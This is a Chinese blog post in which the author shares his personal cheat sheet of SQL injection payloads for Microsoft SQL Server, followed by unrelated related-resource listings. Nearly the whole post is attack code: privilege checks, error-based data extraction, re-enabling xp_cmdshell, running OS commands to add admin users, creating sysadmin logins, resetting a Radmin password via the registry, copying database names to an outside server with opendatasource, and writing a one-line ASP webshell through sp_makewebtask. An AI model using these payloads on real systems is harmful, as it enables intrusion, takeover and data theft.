`
lonestone
  • 浏览: 90602 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
社区版块
存档分类
最新评论

我常用的一些注入命令,方便一下大家

阅读更多
我记性不好,所以把常用的注入代码记录下来,有点乱,但对我来说,还算很有用,希望大家也会喜欢!

//看看是什么权限的
and1=(SelectIS_MEMBER('db_owner'))
Andchar(124)%2BCast(IS_MEMBER('db_owner')asvarchar(1))%2Bchar(124)=1;--

//检测是否有读取某数据库的权限
and1=(SelectHAS_DBACCESS('master'))
Andchar(124)%2BCast(HAS_DBACCESS('master')asvarchar(1))%2Bchar(124)=1--


数字类型
andchar(124)%2Buser%2Bchar(124)=0

字符类型
'andchar(124)%2Buser%2Bchar(124)=0and''='

搜索类型
'andchar(124)%2Buser%2Bchar(124)=0and'%'='

爆用户名
anduser>0
'anduser>0and''='

检测是否为SA权限
and1=(selectIS_SRVROLEMEMBER('sysadmin'));--
Andchar(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)asvarchar(1))%2Bchar(124)=1--

检测是不是MSSQL数据库
andexists(select*fromsysobjects);--

检测是否支持多行
;declare@dint;--

恢复xp_cmdshell
;execmaster..dbo.sp_addextendedproc'xp_cmdshell','xplog70.dll';--


select*fromopenrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select@@version')

//-----------------------
//执行命令
//-----------------------
首先开启沙盘模式:
execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

然后利用jet.oledb执行系统命令
select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','selectshell("cmd.exe/cnetuseradminadmin1234/add")')

执行命令
;DECLARE@shellINTEXECSP_OAcreate'wscript.shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe/cnetuserpafpafpaf/add';--

EXEC[master].[dbo].[xp_cmdshell]'cmd/cmdc:\1111'

判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188and1=(Selectcount(*)FROMmaster.dbo.sysobjectsWherextype='X'ANDname='xp_cmdshell')

写注册表
execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

REG_SZ

读注册表
execmaster..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon','Userinit'

读取目录内容
execmaster..xp_dirtree'c:\winnt\system32\',1,1


数据库备份
backupdatabasepubstodisk='c:\123.bak'

//爆出长度
And(Selectchar(124)%2BCast(Count(1)asvarchar(8000))%2Bchar(124)FromD99_Tmp)=0;--



更改sa口令方法:用sql综合利用工具连接后,执行命令:
execsp_passwordNULL,'新密码','sa'

添加和删除一个SA权限的用户test:
execmaster.dbo.sp_addlogintest,ptlove
execmaster.dbo.sp_addsrvrolemembertest,sysadmin

删除扩展存储过过程xp_cmdshell的语句:
execsp_dropextendedproc'xp_cmdshell'

添加扩展存储过过程
EXEC[master]..sp_addextendedproc'xp_proxiedadata','c:\winnt\system32\sqllog.dll'
GRANTexecOnxp_proxiedadataTOpublic


停掉或激活某个服务。

execmaster..xp_servicecontrol'stop','schedule'
execmaster..xp_servicecontrol'start','schedule'

dbo.xp_subdirs

只列某个目录下的子目录。
xp_getfiledetails'C:\Inetpub\wwwroot\SQLInject\login.asp'

dbo.xp_makecab

将目标多个档案压缩到某个目标档案之内。
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。

dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'

xp_terminate_process

停掉某个执行中的程序,但赋予的参数是ProcessID。
利用”工作管理员”,透过选单「检视」-「选择字段」勾选pid,就可以看到每个执行程序的ProcessID

xp_terminate_process2484

xp_unpackcab

解开压缩档。

xp_unpackcab'c:\test.cab','c:\temp',1


某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit/e导入注册文件,但是mssql是sa权限,使用如下命令EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c即可修改密码为12345678。如果要修改端口值EXECmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400则端口值改为1234

createdatabaselcx;
CreateTABLEku(namenvarchar(256)null);
CreateTABLEbiao(idintNULL,namenvarchar(256)null);

//得到数据库名
insertintoopendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.kuselectnamefrommaster.dbo.sysdatabases


//在Master中创建表,看看权限怎样
CreateTABLEmaster..D_TEST(idnvarchar(4000)NULL,Datanvarchar(4000)NULL);--

用sp_makewebtask直接在web目录里写入一句话马:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--

//更新表内容
UpdatefilmsSETkind='Dramatic'Whereid=123

//删除内容
deletefromtable_namewhereStockid=3
分享到:
评论

相关推荐

    补丁模块(带源码)InlinePatch,Hook,内存DLL注入等等

    下面这个模块是我使用易语言时写补丁最常用的一个模块(当然很多也是抄的),一开始我觉得bug肯定会很多,放出去肯定又会坑很多人,后来我发现坑坑更健康,当你明白一个东西的优缺点之后,你才会更好的选择你所需要...

    网络渗透技术

    1.2.3 查看与修改相关命令 1.2.4 其他常用命令 1.2.5 常用默认快捷键 1.3 NTSD(WinDbg/CDB)的基本使用方法 1.3.1 断点相关命令 1.3.2 执行相关命令 1.3.3 查看与修改相关命令 1.3.4 其他常用命令 1.4 IDA Pro的...

    WEB渗透测试数据库

    支持非常丰富的编解码方式,方便做payload编码 1.2 资源文件 各种渗透测试常用的资源文件,包括各种爆破字典、exploit、webshell、攻击payload等 2 安装 从这里下载最新版本,或使用命令 git clone ...

    asp.net知识库

    最详细的SQL注入相关的命令整理 Oracle Oracle中PL/SQL单行函数和组函数详解 mssql+oracle Oracle编程的编码规范及命名规则 Oracle数据库字典介绍 0RACLE的字段类型 事务 CMT DEMO(容器管理事务演示) 事务隔离性的...

    net学习笔记及其他代码应用

    22.常用的调用WebService的方法有哪些? 答:1.使用WSDL.exe命令行工具。 2.使用VS.NET中的Add Web Reference菜单选项 23..net Remoting 的工作原理是什么? 答:服务器端向客户端发送一个进程编号,一个程序域...

    c语言编写单片机技巧

    答:有关这方面的教材,大学里常用的一本是《IBM-PC汇编语言程序设计》清华大学出版社出版的,在网上以及书店都是可以找到的,另外网上还可以搜索到很多其他的教材如:《微机原理及汇编语言教程》(杨延双 ...

    java面试题

    使用存储过程比单纯的SQL语句要快,可以用一个命令对象来调用存储过程。 索引优缺点? 答:索引可以提高对数据库中数据的检索,缺点是减慢了数据录入速度,同时也增加了数据库的尺寸大小。 什么是事务?什么是事锁? ...

    JAVA上百实例源码以及开源项目

     WDSsoft的一款免费源代码 JCT 1.0,它是一个Java加密解密常用工具包。 Java局域网通信——飞鸽传书源代码 28个目标文件 内容索引:JAVA源码,媒体网络,飞鸽传书  Java局域网通信——飞鸽传书源代码,大家都知道VB...

    JAVA上百实例源码以及开源项目源代码

    Y坐标、得到X坐标,Y坐标值、绘制火焰效果Image…… Java加密解密工具集 JCT v1.0源码包 5个目标文件 内容索引:JAVA源码,综合应用,JCT,加密解密 WDSsoft的一款免费源代码 JCT 1.0,它是一个Java加密解密常用工具包。...

Global site tag (gtag.js) - Google Analytics